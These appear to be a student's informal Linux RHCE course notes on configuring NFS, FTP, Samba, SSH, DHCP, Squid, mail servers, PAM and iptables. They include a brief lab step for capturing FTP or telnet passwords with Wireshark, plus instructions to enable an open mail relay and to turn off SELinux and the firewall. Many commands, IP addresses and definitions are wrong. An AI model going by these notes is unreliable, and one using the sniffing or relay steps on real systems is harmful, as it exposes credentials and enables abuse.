Notes for personal use :

RH- 253
            LINUX  NETWORK & SECURITY ADMINISTRATION
             ( HOW DOES THE SERVER CONFIGURATION)


1. introduction to services :

services : background processes / daemons 

3 types of services ::
   1) init base services 
   2) system base services
   3) xinet based services.

1) server the services from init.d file
2) network based services. 
3)----


#  ls  /etc/init.d
	(whatever daemon available in this services.)


How to check a status of services 

Syntax :  
# service   < service name >  status 
# service vsftpd status 

To start services 
# service   < service name > start
# service   < service name > stop
# service   < service name > restart
# service   < service name > reload


* xinetd based services
   x      –  extra 
   inet  –  internet
   d      –  services  

#  /etc/xinetd.d
# ls /etc/xinetd.d
              ( list the xinetd.d)

Particular setting of particular file is configuring .

The configuration file for xinet based service. 
# vi /etc/xinetd. conf

Service xyz status cannot be used for xinetd based services 

# service xinetd restart
# service xinetd stop


* common configuration file for all xinetd based services.

# vi   /etc/xinetd.conf
                     o/p   define general logging characteristics 


* log_type = SYSLOG daemon info 
: whatever any client telnets to the server then it’s going to record that    particular  /var/log/messeges
* log_on_failure = HOST
: incase of failure for telnet from client server is going to record only the IP address of client on the   /var/log/messegess of the  server       
* log_on_ success  = PID HOST  DURATION  EXIT
:  whenever the client successfully telnets to the server then it is going to record           the process ID, HOSTNAME, DURATION, when the HOST has exited it is going to record these action   /var/log/messeges of the server 




Define access restriction defaults 

CPS    =  50  10 
Speci - : connection per second if there are more than 50 client attached at aa time then server will not except new  connection for next 10 second 


Instance  =  50
Speci : 50 client can telnet to the server at a time 


Per _ source   = 10 
Speci : this time given by the server to the client to accept that new connection .




    How to install and configure a telnet service   
                  C –nodeps

# rpm –ivh ftp://192.168.0.254 :/pub/RHEL5/Server/telnet- server *.rpm 



Telnet configuration file  

# vi /etc/sinetd.d/telnet

disable =    no  X  yes
  
tells the status of telnet if no telnet is on if yes telnet is off
to see the changes disable  = no put-yes  at line no 12 .


:wq!

# service telnet restart
# telnet 192.168.0.2     25   port no.

# quit
 HELO cracker.org
   Quit


4) service telnet
:-

5) {
:-

6)  flags = REUSE
:-

\7) soket_type  = stream
:-  TCP/IP based services

8) wait = NO
:- multi tasking service i.e no of client can get attached to the telnet server

9) user = root
:- owner of the telnet server.

10) server  = /usr/sbin/in.telnet
:- main executable file

11) log_on_failure + = USERID
:-  whenever there is failure of telnet of client then it is going to 
     recording of UID in the /var/log/messeges.



# chkconfig httpd in 
# chkconfig –list | less

On:- tells u that service is automatically going to be started in that particular runlevel

# chkconfig –list httpd
           To list the status of single services

# chkconfig httpd off
             To stop particular service

# chkconfig httpd of  
            To on particular service

# chkconfig httpd –del
              To destroyed the connection between chkconfig & service .


* how to see current runllevel
# runlevel          o/p    n -3





							10th oct 
Unit -3  
NFS SERVER



System v services  :-
         ( basic networking services )
	
# Service portmap restart
# Service nfs restart

1) Network file system	
2) To client one or more directories or client.

RPC : - Remote Procedural call services 

RPC     Services  











* system v services 
1) service portmap restart
2) service nfs restart
port no
for nfs  2049 (fix)
for portmap 111

	configuration file   
	# vi  /etc/exports	


Directory to be share        h/w address through which	extra attribute 
				Dir to be shared		argument










Lab  1) NFS  (I)

Server side  Step 
Steps : -  # ssh station X
		Then built a directory for sharing 
	# mkdir –p  /xyz

           #  cd  /xyz
Open the directory
#   touch a,b,c  put some file
#  Cat > aaa
# ls           (list the containt)

# cd         ( come back to home directory)

# vi /etc/exports

/xyz             192.168.0.0/255.255.255.0(rw,sync,no_root_squash)
	       Class b n/w      class c n/w 


:wq!

Speci :-  1) xyz –                   directory to be shared
	  2)192.168.0.0--       all the machine in the lab
	  3) 255.255.255.0 -- class c n/w
	  4) rw--		         read & write
	  5) sync -- 	        make changes immediately
	  6) _root_squash--    treat client root user server root user

# exportfs –r   : refresh the export list

# service portmap restart
# service nfs restart

* client side steps
# ssh station X

# showmount –e 192.168.0.5 
     ( it shows the extended list of the server)


# Mkdir –p  /share
              (make a dir on which share is mounted)

# mount –t nfs 192.168.0.5:/xyz  /share
                    ( mount the type of share nfs of 192.168.0.5:/xyz /share directory)
# mount
# cd  /share   (go to the share dir)
# ls 
# cat > aa
# ls
# cd
# umount  /share 
# cd xyz
# ls

* how to share 2 machine in the lab
( extra client side step)

# vi /etc/exports

/xyz	123.456.789.123(rw,sync) 123.456.789.123(rw,sync)

:wq!

# exportfs –r
         (refresh the list)
# service portmap restart
# service nfs restart

# mkdir –p /share
# mount –t  nfs:123.456.789.123:/xyz  /share
# mount 
# cd  /share  
# umount /share

* how to share a single machine 
 # vi /etc/exports

/xyz	123.456.789.123 ( rw,sync)

:wq!

* sharing the machine example .com
# vi /etc/exports

/xyz	*.example.com (rw,sync)
                   Or
/xyz	station1.example.com


** extra client side step
# mount –r nfs –o soft 123.456.789.123:/xyz  /share
			(terminate u’r  programme  cleanly)

Soft:- if nfs server is shutdown after mounting the share an while                   accessing  the share terminal will hang. 

    # service nfs restart
    # mount –t nfs –o hard 123.456.789.123:/xyz /share

   # service nfs restart

		Hard: in above situation the terminal will hang till nfs service 
     on this sever started begin.
# mount –t nfs –o intr 123.456.789.123:/xyz  /share

Intr : if the nfs server is shutdown while mounting the share then the client     terminal will not hang 

#  mount  -t nfs –o resize=8192  123.456.789.123:/xyz  /share
			Rsize = 8192 : read 8 line faster from the server by default speed 
				is a 1024 bytes.

# mount –t   nfs –o wsize=8192  123.456.789.123:/xyz  /share
			Wsize=8192:  write 8 time faster.


* how to move NFS share permanent  on client 
   client side step 

# vi /etc/fstab

123.456.789.123:/xyz	/share 	nfs	defaults 	0   0

:wq!

# reboot










FTP SERVER :

1) file transfer protocol
2) functions : 
                      download file -->  - server -->client
		    uplod a file -->      -	server -->client
3) it’s configuration file 
          #vi  /etc/vsftpd/ vsftpd.conf

4) system v services 
# service vsftpd restart

Port no : 21

Login 2 types 

1) anonymous 				2) any linux user  	

a) password is not  compulsory.                a) password is compulsory.
b) home dir  /var/ftp			b) home dir  =/home/username
c) by default u download the file		c) download a file as well as upload a file	


* LAB SEQVENCE :
      Anonymous login:

#  vi  /etc/vsftpd/vsftpd.conf
		Conf: file for ftp server

# ftp 123.456.789.123
#anonymous
# Passwd
# ls
#quit

# ftp login
      # 
      # quit

Login using any linux user

    # useradd  abc
    # passwd  abc 
# ftp server1

Name # abc
Passwd# abc

* uploading file
  # ftp server1
#abc
Abc

# mput install.log
# y
#ls
# rm install.log
			(change the pwemission form)
ftp> # quite

* how to disabled anonymous login

# vi /etc/vsftpd/vsftpd.conf

Line no 12 – remove & replace the yes with no  .
        Anonymous_enable = no

:wq!

# service vsftpd restart

      # ftp server1
      # anonymous 
ftp #   passwd
				displayed u login incorrect / login failed


* how to disable all linux user

#  vi  /etc/vsftpd/vsftpd.conf

  Line 12 – anonymous_enable = no  /  yes
Line 15  --  local_enable = yes  / no

:wq!

# service vsftpd restart
# ftp server1
#  abc
		( ftp server is anonymous only)

* how to disable only single linux user .

# vi  /etc/vsftpd/vsftpd.conf
Line 15 --   local_enable = no  /  yes

:wq!


# vi /etc/vsftpd/vsftpd.conf
			Inside the list at the last line add the user which is to denied 
					Ex.. bob

:wq!


#  service vsftpd restart 
# ftp sever1
Name # bob
Passwd # bob
			o/p	login failed 
#quit

* how to enable the anonymous user to upload file 
# vi /etc/vsftpd/vsftpd.conf

Line no 12—keep it  =yes
Line no 24 – anon_upload_enable =yes	
Line no 46—chown_upload = yes --> remove #
Line no 47—chown_username = daemon 
				( remove the comment )
Line non 48 – anon_umax = 077 --> to add this line.

:wq!	
 
# service vsftpd restart
# cd /var/ftp/
# mkdir-p inc

# chown    root:ftp inc
# chmod 733 inc
# ls –ld  inc
# cd

# ftp 192.168.0.2
Name: ftp
Passwd  :
#ls 
Cd inc
ftp> mput install.log
	y
   	ls
quit

* how to check 
      # cd /var/ftp/inc/
       # ls


SAMBA SERVICES.
*samba server
1) based on smb ( server message block)
2) used to access CISF (Common Internet File System)

Function : used to share on or more directory across os that is .


* system V services
# service smb restart

# conf file: vi /etc//samba/smb.conf
* how to define user defined share (USD)
  
Server Side Step:

# vi  /etc/samba/smb.conf

In this file go to the end of the file & write  down following init (patch).

[myshare]
Comment = mary’s and fred stuff
Path  = /mnt
Valid users = andy
Public  = no
Writable = no
Create mask = 0765
Host allow = 192.168.0. 127.
Browseable = yes 


Specification  : - 
Line 1--> extra information about share
Line 2 --> directory to be shared
Line 3--> user allowed to access the share
Line 4--> no other user then bob is allowed to access the share
Line 5 --> read & write permission
Line 6 --> It is not printer share
Line 7 --> permission to upload file 
Line 8 --> allow the all machine in the lab to share
Line 9 --> means client can see the share 

[myshare] :--> it is a name of share u can put any name of ur share that  u used.

:wq!

# useradd andy
# smbpasswd –a andy
   		( to access the samba server h add samba passwd to that 
                           particular user by using this command)
 
# service smb restart
# setenforce 0
# service iptables stop 


*client side step:--
                                           Any station which is u’r server no.
# smbclient –L 123.456.789.123 –N  (  samba client list of all share machine on the 
                                                       server –N allows the anonymous login)

# smbclient //123.456.789.123/myshare –U andy
                       ( used to access the share of name my  
	                          share & with uses ad bob)

# passwd : andy

Smb:\> ls
Smb:\> mput test1
               Y 
Smb:\> ls
Smb:> mget test1
		Y
Smb:\> quit

# ls –l

* how to solve home dir share 
 --> client side steps only                             ( there is no server site)

# smbclient //123.456.789.123/andy –U andy
Passwd: andy
Smb:\> ls
Smb:\> rm test     ( if u want to delete any file from it then use this command)


* how to access the printer share go to server side 
---> go to the GUI --> open terminal 
#system-config-network
Put the name & then press forward--> forward --> Apply
-->go to the printer2     make it as default printer

# mkdir –p /usr/spool/samba

* server  side step -->
 # setenforce 0 
# smbclient //123.456.789.123/printer2 –U andy
Passwd : andy
smb:\> ls
Smb:\> print test  () for printing any file which u want)
Smb:\> quit
# lpr
#lprm 5    ( for deleting or cancel the lprm command)

* how to creat share for group
   --> server side step

# vi /etc/samba/smb.conf
write list  = @ group  ( share will be available to this group also)


:wq!

# groupadd group                 ( name which is written in above)
# usermod –G group andy
# id andy 			    ( it shows u id for the usr bob)
# service smb restart

  -->Client side –

# smbclient //123.456.789.123/myshare –U andy





SSHD SERVER:--
PORT NO.  22 

* feature 
1) secure shell demon (sshd)
2) called as open ssh server 

* functions:--
1) to administrator to system remotely due to root login

* system V services
* # service sshd restart

* configuration file for

# vi /etc/ssh/sshd_config
                                         ( 5 packages to verify )
1) rpm –q openssl
2) rpm –q openssh
3) rpm –q openssh_ askpass
4) rpm –q openssh- server
5) rpm –q openssh –client 
	
* how to disable root login

* server side step -->
 # vi /etc/ssh/sshd_config
                     (Remove the # prompt on line no.13  Then go to 
                      line no39 remove the # also from present root login replace yes by no.)

* client side step
			s.s.h stationX
* how to enable root login
# vi /etc/ssh/sshd_config
				(to change the line 13 , 39)


:wq!

# service sshd restart

* how to disable one or more user

* server side step

# useradd ost
# passwd ost

How to denied
Vi /etc/ssh/sshd_config
			After 39 line add a new line 
			Deny Users Ost
:wq!

# service sshd restart
# ssh  ost@station3
     passwd  : deny

# vi /etc/ssh/sshd_config

 
* how to allow one or more users

  # vi /etc/ssh/sshd_config     
            Remove line no40
		Allow users ost only
:wq!

# service sshd restart

* how to add a banner to sshd server
  
# vi /etc/ssh/sshd_config
		Go to line no 116 remove # from it & write a down banner  /etc/myban

:wq!

# vi /etc/myban 
		Hello this is my station no .3 
Init
:wq!

# ssh station3
		( to displayed to u when login)

* extra client side step / command:
   # ssh 123.456.789.123   
   # password : redhat 	(it shows u working directory) 
# sftp 123.456.789.123




DHCP SERVER 
Port no : 67
 			( it provides the fallen system IP address particular time to access)
				It’s performing 2 compulsory function

DHCP: dynamic host configuration protocol 
Compulsory function of DHCP
1) provide IP address to client automatically using 
i) a random IP address from the range specification
ii) to provide fix IP address depending on the h/w address of NIC of client ( network Interface card – lan card)
2) to provide n/w Information to client 
i) like netmask of client 
ii) domain name of client ( example.com)
iii) DNS server IP address
iv) Getway IP Address

* Default lease time
Specification: the Ip address given by the server to the client for a specific time period  ( 21600 sec)

* maximum lease time
speci :- this is time provided by server to client  
	the client has to renew IP add before

expiry of lease time ( 43200  sec)
* reneual time : Continue to  same IP address

* system V services

# Service dhcpd restart  
Configuration file :
			#Vi /etc/dhcpd.conf
					o/p

line  ddns-update-style none;
        option domain-name “example.com”;
       option domain-name-server 123.456.789.123;
        default –lease-time 21600;
        max-lease-time 43200;
        subnet 123.456.789.123 netmask 255.255.255.0
        {
        option router123.456.789.123;
        option subnet-mask 255.255.255.0;
        range 123.456.789.10  123.456.789.20;
        
Host station1
        {
 hardware ethernet 00:0F:EA:9D:71:AB;
fixed address 123.456.789.123;
        }

Host station2
        {
 hardware ethernet 00:0F:EA:9C:AF:04;
  fixed address 123.456.789.123;
        }
Host station3
        {
 hardware ethernet 00:0F:EA:9D:99:64;
fixed address 1123.456.789.123;
        }

Host station4
        {
 hardware ethernet 4C:00:10:53:0D:5E;
fixed address 123.456.789.123;
        }

Host station5
        {
 hardware ethernet 00:0F:EA:9D:98:B8;
fixed address 123.456.789.123;
        }
Host station6
        {
 hardware ethernet 00:50:BA:A8:7B:B8;
fixed address 123.456.789.123;
        }


* 10 service security /service firewall TCP wrappers / Host Based security.

* there is two configuration file :

# vi /etc/hosts.deny
# vi /etc/hosts.deny

     syntax for both the above file there are in 3 comumns

----------------:----------------:--------------
1/more	      1/more	      optional

* how to configure hosts deny file :
server side steps :
# vi /etc/hosts.deny
         Here addd the entire like  :
		Vsftpd : 123.456.789.123
:wq!

# service vsftpd restart

* client side step
  # ssh  123.456.789.123
  # ftp station1
		So it should gives the error :-
                  Connected to service not available 

* if you want to deny all the machine from using vsftpd then in the deny file i.e in

# vi  /etc/hosts.deny
                Write here 
Vsftpd  : 192.168.0.0. /255.255.255.0
               then
:wq!

# ssh station6 
# ftp server1
Or 
      # also you can write ALL in place of 
		192.168.0.0 / 255.255.255.0
Or 
      # station2.example.com
Or
      # ALL EXCEPT  *.example.com

* to deny more than 1 services in host deny file
vsftpd, sshd : 192.168.0.2
	
* to deny all service for all machine in the lab in the host deny file write 
ALL:ALL

:wq!

* configuration of file host.allow :--
( it mails you the details like who has done ssh/ftp etc/ to you machine)
* now in the file host.allow write :
    sshd :ALL: spawn echo “login attempt from % c to % s” | mail –s 
      “WARNING ” root

Meaning of above line
-sshd : execute programme on server
-echo : display messege
- % c : client 
- % s : server 
- mail : send a mail to root with subject “WARNING”

Then save it by
:wq!

* client side steos:
# ssh 123.456.789.123
#mail


SQUID SERVER    						19/10/2007
Port no. :3128
 
 






* proxy server :  A proxy server is a server that acts as a intermediately between the workstation user & the internet so that on enterprise can ensure security administrative control & caching services.
* a proxy server is associated with a
* getway server that separates the enterprise network from the outside network & a firewall server that protects the enterprise network from outside threats
* when using a proxy server the user is connected to the server & not the proxy acts as a client on the behalf of user
* it uses % of its own IP address to required the page located on the N/W once the page is returned the proxy server forwords it to the user isolation then from the internet.


Functions: 
1) communication between LAN & ethernet 
2) used in cybercafés
* feature :
proxy server in linux is called as a squid server.

* system V services
# service squid restart 
Port no 3128

Conf file : 
# vi /etc/squid/squid.conf
By default squid can’t receive request from remote machine.

* lab sequence 
how to receive request from all of the machine in the lab
			also give http.port no as .: 8080
*server side step 
 # vi /etc/squid/squid.conf 
			Go to the line no. 2410  and add
                                  Acl example src 192.168.0.0/24    or
                                  An  like               192.168.0.254/255.255.255.0 
					( acl : access control list)

:wq!
* example : -               name of the group ( it can be any)
* scr           :- 	           source ( to be whom he has give the access)
* 192.168.0.254/24 or 
 192.168.0.254/255.255.255.0: -- class c networks

Go to the no 2527 & add a new line 
Which is : http_access allow example
* http_access  :  to allow the http request  
* example       :  to gr. (example) for which the permission is to e given 

:wq!

# service squid restart

* client side steps :
   # ssh stationX

# squidclient –h 192.168.0.1 –p 3128
			You should get an html page after giving the above command.
# squidclient –h 192.168.0.1 –p 3128 http://yahoo.com
			 You should get a waiting page 

* how to deny/ block certain website with the help of a proxy server.

* server side step :

  # vi /etc/squid/squid.conf
* Go to 55% of your screen or line no. 2410& add following:--

     Acl otherguys dstdomain .yahoo.com
     Acl otherguys	dstdomain .hotmail.com
                                ( here you’ve to add deny & follow group line 1 below the other)

* then go to the line no 2526 add: 
	  http_access deny othereguys
				( deny http access to the group “otherguys”)

:wq!    		
# service squid restart
# squidclient –h 192.168.0.1 –p 3128 http://yahoo.com
		You get on html page with “Access denied ” error 
                         If you give google.com ( in the place of yahoo.com) then it will  give a	
                       waiting page

* how to change port no 8080 
# vi /etc/squid/squid.conf
			To go line no 71. & give 
		http_port 8080
:wq!

* client side step
  # squidclient –h 192.168.0.1 –p 8080 http://google.com
					It gives u waiting page

* to configure mozilla to contact proxy server

* client side step :
          # startx
              Go to the mozilla firefox general --> edit-->preferences-->connection-->setting-->select direct to connection to the internet.

* To get mails on the client from server on the client go to edit-->preference -->direct connection to the internet --> give IP address of server & port as 8080--> select the option below – ok





SECURITY CONCERS & POLICIES
* TYPE OF SECURIETTY :
                  n/w firewall  services


PAM 						DIFFERENT
Pluggable authentication module			room ar main server in organization


D DOS ATTACKS ( DENIEL OF SERVICES ) :--








*DDOS ATTACK (distributed denial of services)










* A “denial- of service” attack is characterized by an explicit attempt by attackers to prevent legimate user of service from using that service. Example includes .
* Flooding a network, thereby prevent legimate network traffic ;
* Disrupting a sever by sending more request than it can possibly handle there by preventing access to a service 
* Preventing a particular individuals  from accessing a service ;
* Disrupting service to a specific system or person
--> attack can be directed at my network device including attack on routing device and web electronic mail, or domain name system server


*  TCP/& UDP		( protocol)

TCP UDP
1) transmission control protocol  1) user defined protocol
2) n/w connection is required       2) no need of connection
3) 1st established connection         3) no need of establishing connection
         & then refers data.
4) no threat of data loss		4) threat of data loss
5) same as telephone		5)same as sending a postcard
6) slower than UDP		6) faster than TCP


* LAB SEQUENCE :
   # netstat –taupe | less
---shows network status of all the local machine 
-t   : list of all TCP connection
  a : give details of all connection
 u :  details of UDP connection
p : PID of services running
e  : extended information about the services 

proto	        : i.e protocol either TCP or UDP
user  	        : owner of the service running .
PID 	        : process ID of the service .
Program name : It is the server name
Foreign add      : client IP address
State                  :  status of connection. 
LISTEN            : service is ready but there is no client to accept the service.
Established       : connection established between server & client 
*.*                       : no client attached to the service 


# nmap –po 192.168.0.2
Nmap : network mapping or statues of remote machine.
-po      : disabled pinging .

1) wireshark
2) wireshark-gnome – INSTALL THESE 2 PACKAGE.

* how to hack password of FTP or telnet using the wireshark
step: -->
startx--> application--> go to wireshark network analize --> an go to capture--> go to interface the go to --> pseudo-->device that capture the all interface --> pres the start --> ok
open terminal--> ftp station2


II ..PAM
	Pluggable authentication modules.
1) pluggable :- plug & play s/w or h/w
2) modules : set of complied function
3) authentication : - here u name to provide username  + passwd + other parameters 
 

# ls /lib/security/

	Supporting files always stored with extension as .so

Name of the file					meaning/function configuration file

1) pam_unix.so				when username entered at the login prompt I							ask and check a passwd.
2) pam_securetty.so			2) user to lock or unlock console.
							# vi /etc/security
						Lock console with # go to console & 
						remove the # from on the console
      3) pam_nologin.so				3) conf file 
								# vi /etc/nologin (empty)
							Allow only root user not for non root user
							Touch  /etc/nologin if this file is allowed to 
							login as a non root user
							lab:
							       # touch /etc/nologin
							       # ls /etc/nologin
	                  				       Go to another console try to login as non root	
							-- if not able to login then go to root user & 
							    Remove /etc/nologin file as 
							     # rm /etc/nologin
4) pam_chroot.so				4) this file is operate in rescue mod
								Chroot /mnt/sysimage
5) pam_console.so				5) it will give reboot an halt permission for 
								Non root users.
6) pam_env.so					6) it will create environmental variable or
								System variable whenever you login
							Ex. Set | less
7) pam_ftp.so					7) whenever u login with the help of
							    ftp to the server it’s going to ask u to
							    u to provide name & password
8) pam_group.so				8) whenever new user is added it will 
							Automatically cret UPG-(user private group)
9)pam_issue.so				9) conf file is
							     # /etc/issue --> issues a kernel version
10) pam_mail.so				10) it will show message u have mail  	
								At login
11) pam_mkhomedir.so			11) whenever new user is created it is 
	 						Automatically create home dir for user 
12) pam_motd.so				12) in conf-n  # vi /etc/motd 
								Message of the day
13)pam_rootok.so				13) whenever a non root-user resize to 
							     To give an administrative command 
							It will ask for root passwd (authconfig) 
14)pam_smb_auth.so				14) it will enable samba authentication
							( the smb client command)
15)pam_smbpass.so				15) it will stored samba password in a
							     File using smbpasswd command
16) pam_time.so				16)it will enable time base access for all
							     Xinetd base services.
17) pam_umask.so 				17) it will automatically set umask of user.	


* how to create a power user :--
# useradd   tom  
# passwd    tom

# which authconfig –tui
		/usr/sbin/authconfig-->

# vi /etc/sudoers
		Go to the line no.21 an add a line 
     User_Alias U = tom
                     Speci:-   (create an alias for user tom as capital U)
      
		Go to line no 28
     Cmnd_Alias C = /usr/sbin/authconfig-tui
               Speci:- (create a shortcut capital C for the command authconfig-tui)

                  Then go to the line no-77 an add
       U            ALL= C 
               Speci:- (tom user from all the consoles can create the authconfig command)


:wq!

* login with tom user 
sudo /usr/sbin/authconfig-tui

passwd : tom
          ( authconfig – tui --> directly going)

IMP: 
* how to give grub passwd 
# grub-md5-crypt

Passwd = redhat (which u want to crypt)

Change console --> then open file

# vi /boot/grub/grub.conf

Go to time out line below the line is 
Password –md5          
			       ( go to 1 console to get crypted password select
			          The crypted password with mouse right click
			          -go to second consol & press left mouse button and  
	                       	Paste a crypted passwd after –md5 then wq! Reboot)	

    :wq!

# reboot
System monitoring
1)#  df –H
		Disk free size in human readable fashion
2) # sf –h        disk free size in system manner
3) # du /etc/ -H
                    It shows disk usages of /etc directly in human redable fashion
4) # df –sh
               Disk usages summery of /etc  directory in human redable fashion.
1) find  /-type  -perm  +600
	         find in /directory a type of file having ( special permission 6000)
6) find   / -type   f  -perm o+w
               Other having write permission find in /directory a type of having write              
                       permission   of other .
2) find  /home –type f –nouser  -o – nogroup

* situation in which this type of file is created steps 
 # useradd test
 # passwd test

#Ls –ld   /home/test/
    Then
# find /home –type f –nouser  -o- nogroup

* log files of linux
1) tail  /var/log/messages  ( mail log file) 
it consist of system messages
2)  tail  /var/log/secure :
             user , group, telnet, ssh related login messages.
3) tail  /var/log/maillog :  (e mail related ) 
   i.e  incoming or outgoing messages or email
4) tail  /var/log/dmesg.
               Kernel related messeges
5) tail /var/log/xferlog
6) tail /var/log/transfer log
# logwatch 
# mail


# rpm –q psacct * --> check pack
Rpm-ivh

# rpm –q  systat  --> system statistic 
# rpm –ivh ftp://192.168.0.254:/pub/RedHat/RPMS/sysstat * rpm.

* package for system status & process accounting
# ac –p                 person wise wages for system in hours
# ac –d        .       daywise usages of system.

# ac –pd usage of a/c persent & day wise

# accton  /var/account/pact
			Turn on the accounting for the system 
#accton --> turn off accounting
# last   -->
# lastcomm --> 


#Rpm  -ivh ftp://192.168.0.254:/pub/RedHat/RPMS/ rhce -< packname> *.rpm

#Rpm  -ivh ftp://192.168.0.254:/pub/RHEL5/ rhce -< packname> *.rpm

 



 

		




	4. EMAIL SERVER 				25TH OCT 07
PORT NO:.

1) sendmail
2) postfix 
3) imap
4) pop

* how does email works on Internet :--













1) MUA : mail user agent
				This is obtained when the user who want’s to send a mail 
                                          open up his account by providing him login name and 
                                           passwd. (account page of user)
2) MTA : mail transfer agent 
				Mail transfer agent is a part of e-mail system that does 
                                            much of the working of transferring the e-mail message 
	     from one computer to another.
( either on same local network or over the internet to a remote system)
3) MX : mail exchanger
4) SMTP :  simple mail transfer protocol.
5) MX : mail exchanger
6) MDA: mail delivery agent
                  This is transfer u’r mail from mail box.

7) MAA : mail accessing agent 
                         Use to access u’r mail from
8) MTA : mail transfer agent


1) Sendmail Server :-
  Features  :--
ii) Sendmail is the MTA ( Mail Transfer Agent)
iii) System v services
         # service Sendmail restart
iv) port no.: 25
v) configuration file .
# vi /etc/mail/Sendmail.mc ( macros)
* what is macro
  --> macros are a great productivity  tool it allow up to run a series of action with a click of a button a macro is a set of task combined together so that u can run or reply the entire task together with a single command.
vi) b default Sendmail cannot receive email from remote machine but it can send emails to remote machine .

IMP: 
* LAB SEQUENCE :
* How to receive a email from remote machine .


* server side step—
# cd /etc/mail
      #  vi  Sendmail.mc
                     Go to line no 116.
Before:-->      DAEMON_OPTIONS(‘port=smtp,addr = 127.0.0.1, NAME = MTA’) dnl
After :--> dnl DAEMON_OPT IONS(‘port=smtp,addr = 127.0.0.1, NAME = MTA’) dnl

3) DAEMON OPTIONS :- 
4) Port = smtp – use port no. 25
5) Addr= 127.0.0.1 – loopback IP add
6) NAME=MTA – use Sendmail as mail transferring agent.


:wq!

# m4 sendmail.mc > Sendmail.cf
# service Sendmail restart

* client side setup
* how to heck above configuration

# ls –l | mail –s  “ hello root” root@ station2.example.com

# mail

* how to create alias for the user 
     # server side steps 
# vi /etc/ aliases
			Go to end of the file

Ost:	root
:wq!

# newaliases 
		Refresh the list of aliases

# service Sendmail restart
* client side setup 
* ls –l | mail –s “aliases ”  ost@station2.example.com
		go to the server side
# mail

* aliases are used to hide identity of server 

* how to enable open realy feature

* server side steps

# cd /etc/mail
                Open conf file
# vi Sendmail.mc
				  Go to the line no 84 & add a line 
FEATURE ( promiscuous_relay) dnl
:wq!

#  m4 sendmail.mc > Sendmail.cf

* client side 
 # telnet 192.168.0.2 25

HELO example.com
MAIL FROM : hello@example.com
						Sender ok
RCPT TO : root@station2.example.com
							Recipient ok
      DATA : 

  SUBJECT : “Sendmail server ”  (give any sub)
Today we are going to study
A mail server & we understand that
The how to create an aliases .
.
Quit

Then go to the server 
# mail  (to displayed u mail list then u read after the mail will be goan) 


26/10/07

POSTFIX  :--
                 (  Also mail transferring Agent)
Feature of postfix –
   Postfix is a type of MTA ( mail transfer agent )
It is alternative for the Sendmail

System V services.

# service postfix restart

 				Port no: 25 as it as Sendmail

# postconf  –e  “option = value”
                                                 By default postfix cannot receive mail from remote 
                                                  machine but can Sendmail to the remote machine

LAB SEQUENCE :
			How to receive e-mail from remote machine.

* server side steps .
                        # rpm –q postfix  -- check package
                   If packeges is not install 1st install the package by yum /rpm

# alternatives –config mta
				Select postfix service 2
# service postfix restart

# postconf –e  “ inet_interfaces = all”
           Speci:- edit the configuration of postfix such that it except mails 
                           from all of the machine in lab

# service postfix restart




* how to check above configuration
client side steps :
      
# ls –l | mail –s  “hellooooo” root@station2.example.com

* how to create an alias 
                   serve side step  --> open conf file
# vi /etc/aliases
                    Put the end of the file

Ost:                   root



:wq!

# newaliases     ---refresh the list
# service postfix restart.
    Go to the client side give command

# ls –l | mail –s  “hii”  ost @station3.example.com

    Then go to the server side
# mail
     You should get a mail


* how to enable open raly features
    # postconf –e “mynetworks_style = subnet ” 

# service postfix restart

Then go to the client side step
# telnet 192.168.0.3 25                   ( c types of port)

HELO:  example.com
MAIL FROM: xyz@example.com
RCPT TO: root@station3.example.com

DATA
SUBJECT : “postfix server”

Here u put some text which is u want 
To type any kind of line u want to .
.
Quit


* Then go to the server 
# mail     should get a mail


1) POP : post office protocol
2) IMAP : Internet mail access protocol
3) Functions : to receive mail remotely server  to client 
System v services 
# service dovecot restart
# vi /etc/dovecot.conf
					Port no for POP   110
            		            Port no for IMAP  is 143

Go to the line no 17 then remove #

Server side step 
# service dovecot restart
# vi /etc/dovecot.conf
                 Removing # from line no 17
:wq!

#service dovecot restart

* how to check mail for POP server 
* add user 
# useradd champ
# passwd champ

# ls | mail –s “hello” champ

# telnet 192.168.0.3 . 110

USER champ
PASS champ
STAT
RETR  1 mail no              (retrieve) 
DELE 1 mail no
QUIT 

* how to check IMAP services /server
			go to the client 

# mutt –f { bob@station3.example.com/ssl}  (bob any user u sendmail)
                                                                                (# su –champ  # mail)

* NETWORK FIREWALL

* WHAT IS IPTABLES ?
Iptables is the user space command line programme used to configure the linux IPV 4 packets filtering rule set. It  is targeted towards system Administrators.

Since network address translation is also configured from the packet filter ruleset Iptables is used for this too.

The Iptables package also include ip6tables.
 Ip6tables is used for configuring the IPv6 packets filter.

* how to disabled a firewall
         # service Iptables stop
    ( disable network firewall)

Configuration of firewall.
# Iptables  -A INPUT –s 192.168.0.2 –j DROP

Meaning: 
1) Iptables -->this command is configuring the firewall
2) –A  -->       appends or add the rule in list 
3)INPUT --> INPUT traffic
4) –s       --> source
5) –j DROP  --> jump to DROP

* block or DROP incoming traffic coming from the source the ( 192.168.0.2)
          particular IP address

# Iptables –nL
                           Numerically list all of the rules in firewall
# Iptables –A INPUT –s 192.168.0.2 –j REJECT.

REJECT --> on the client side it will issue an error message.

* how to add a rule at particular position 
# Iptables –I INPUT3  -s 192.168.0.3 –j DROP 
# Iptables –nL

* how to delet all the rules at once 
       # Iptables –F INPUT
                            F --> flush a 1 of the rule from INNPUT traffic or delete all of 
                                    the rule from INPUT traffic.


* to deny all at once 
# Iptables –p INPUT  DROP

* to accept from particular machine 
    # Iptables –A INPUT –s 192.168.0.2 –j Accept
         --> accept the traffic from source 192.168.0.2

# Iptables –p INPUT ACCEPT
                     Accept from all the machine  
# Iptables –nL


* DROP TRAFFIC from entore lab

# Iptables –A INPUT –s 192.168.0.0/24 –j DROP


* if u want to drop traffic from lan card 
     # Iptables –A INPUT –I eth –j DROP
   Speci:-Add an incoming interface fist lan card i.e wth0 and drop its  traffic


# Iptables –A OUTPUT –o eth0  -j  DROP
Speci:- add rule in outgoing traffic for the lan card 



* how to stop a ping command
# Iptables –A INPUT –p icmp –j DROP –p    ( protocol)
     Icmp --> inet control message protocol with the help of this command no client 
                    To the ping to the server.

* how to stop ssh service on server
 # Iptables –A INPUT –p tcp –dport22 –j DROP 
             TCP – transmission control protocol
     --dport22 – means destination port 22 no machine can ssh to server 

* how to apply policies a particular user
* # Iptables –A OUTPUT –m owner –uid – owner 502 –j DROP
              -m modules ( supporting files)

--uid –owner 502 --> means the owner having uid 502
--drop the output traffic for the owner with uid 502

* how to drop 1st pocket coming from input traffic i.e none of the client can’t access any of the services to u’r machine

# Iptables –A INPUT –m state –state NEW –j DROP

* all of the rules in firewall are stored in RAM on temporary bases to make it permanent on the machine following thing are carried out.

